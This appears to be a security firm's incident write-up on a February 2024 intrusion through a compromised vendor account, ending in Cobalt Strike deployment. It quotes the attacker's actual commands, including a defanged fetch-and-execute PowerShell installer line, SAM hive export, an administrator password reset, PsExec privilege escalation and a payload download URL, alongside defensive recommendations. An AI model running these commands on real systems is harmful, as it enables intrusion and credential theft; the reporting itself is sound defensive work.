Ransomware Precursor Activity Traced to Compromised Vendor Account

Adversaries don’t work 9-5 and neither do we. At eSentire, our 24/7 SOCs are staffed with Elite Threat Hunters and Cyber Analysts who hunt, investigate, contain and respond to threats within minutes.

We have discovered some of the most dangerous threats and nation state attacks in our space – including the Kaseya MSP breach and the more_eggs malware.

Our Security Operations Centers are supported with Threat Intelligence, Tactical Threat Response and Advanced Threat Analytics driven by our Threat Response Unit – the TRU team.

In TRU Positives, eSentire’s Threat Response Unit (TRU) provides a summary of a recent threat investigation. We outline how we responded to the confirmed threat and what recommendations we have going forward.

Here’s the latest from our TRU Team…

What did we find?

In February 2024, the eSentire Threat Response Unit (TRU) detected a compromised host through an RDP session initiated by a compromised IT services vendor account beyond our monitoring scope. The threat actor conducted domain reconnaissance, extracted credentials, escalated privileges, and deployed the Level.io RMM tool. This sequence of actions culminated in the deployment of the Cobalt Strike.

Given the observed Tactics, Techniques, and Procedures (TTPs), we assess that there is a realistic probability the threat may be associated with Scattered Spider cybercriminal group. However, this assessment remains unconfirmed due to limited visibility regarding patient zero.

Initially, we observed the threat actor attempting to install Level.io with the following command:

“C:WindowsTemplevel-windows-amd64.exe” /k <REDACTED API KEY> /a install

Next, the threat actor proceeded with reconnaissance activities with the following commands:

  • net user – the command lists all the user accounts on the local machine.
  • net user /domain – the command lists all the user accounts in the Active Directory of the domain.
  • net user <username_redacted> /domain – the command displays the user information in the Active Directory of the domain.
  • net localgroup Administrators /domain – the command displays the local administrators’ group on the current domain.
  • net localgroup “Domain Admins” /domain – the command lists users from domain admins in the current domain.

The network discovery tool was dropped via an RDP session (T1105) under “C:ProgramDatanetscannetscannetscan.exe” (MD5: 52746d457f8ec149fd13dea85b654b19). The network discovery initiated from netscan.exe was terminated by an endpoint agent.

Another attempt was made to install a Level RMM agent (T1219) on the host via the PowerShell script (Figure 1) using the command:

$env:LEVEL_API_KEY = <REDACTED_API_KEY>; Set-ExecutionPolicy RemoteSigned -Scope Process -Force; [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; iwr -useb hxxps://downloads.level[.]io/install_windows.ps1 | iex

Figure 1: Snippet of install windows.ps1

Credential dumping attempts (T1003) were inferred from the observed use of Task Manager, which was accessed by right-clicking on the Taskbar and indicated by the command line invocation “taskmgr.exe /4”.

The threat actor attempted to export the SAM registry hive (T1003.002) using the following command:

  • reg.exe save hklmsam C:/Programdata/sam.save

However, we did not detect any attempts by the threat actor to extract the SYSTEM registry hive. Since the SYSTEM hive is necessary to decrypt the hashed passwords in the SAM hive, the absence of such extraction efforts suggests that the threat actor didn’t succeed in acquiring the SAM registry hive.

An attempt to reset the Administrator’s credentials was made using the command:

  • net user administrator 123!@#qweQWE /domain

The threat actor used the command “dir /a:h” to reveal all hidden files in the current directory. Following this, they executed the Cobalt Strike payload “payload64.exe” (MD5: 155560e1e4ea8fcce047514a52950859).

The payload was retrieved via hxxps[://]temp[.]sh/VWXth/cob[.]zip (MD5: 192644d5f4fc2313bca0224210c0b6c7).

It’s important to note that the ZIP archive includes three additional Cobalt Strike payloads as fallback options, all of which connect to the same command and control (C2) server.

Additionally, the threat actor regularly issued the “cls” command to remove all prior commands and outputs from the command prompt.

Multiple attempts were made to escalate the privileges to the SYSTEM level via PsExec:

  • .PsExec.exe -i -s cmd.exe

What can you learn from this TRU Positive?

  • Threat actors often start with reconnaissance activities, such as listing user accounts and groups within a domain, to gather as much information as possible about the network and its users. They may also attempt to dump credentials, underscoring the need for secure password practices and vigilant monitoring of system and network access.
  • Tools like PsExec and Task Manager, while legitimate, can be repurposed by threat actors for malicious activities such as privilege escalation and credential dumping, illustrating the dual-use nature of many system utilities.
  • The installation of RMM tools like Level.io indicates attackers’ preference for maintaining control over compromised hosts and underscores the necessity of monitoring and validating the integrity of third-party software used within an organization’s network.
  • The utilization of Cobalt Strike payloads highlights a common tactic among threat actors for maintaining persistent access to a network and conducting further malicious activities
  • The effort to escalate privileges using PsExec demonstrates a common objective among attackers to gain the highest level of system access, which can facilitate unrestricted access to system resources and data.

What did we do?

Our team of 24/7 SOC Cyber Analysts issued an alert to the customer regarding suspicious activities and isolated the affected host.

Recommendations from our Threat Response Unit (TRU):

  • Keep all systems, software, and applications updated with the latest patches. Attackers can exploit vulnerabilities in outdated software to bypass security measures.
  • Implement role-based access control (RBAC) restrictions. Workers should only access the resources necessary to get their jobs done. IT administrators can enforce access controls based on multiple factors, including responsibility, authority, and job competency.
  • Establish account lockout measures, particularly within Remote Desktop Protocol (RDP) settings, to thwart potential attackers from hijacking legitimate accounts. Such policies are instrumental in guarding against brute-force attempts, credential stuffing, and the theft of credentials, thereby safeguarding user accounts and sensitive data.
  • Mandate the use of robust passwords and multi-factor authentication (MFA). Ensure all users adopt strong credentials for RDP sessions and rigorously apply MFA protocols, especially for admin accounts accessing the organization’s systems through RDP.

Indicators of Compromise

You can access Indicators of Compromise here.

References

Source: Original Post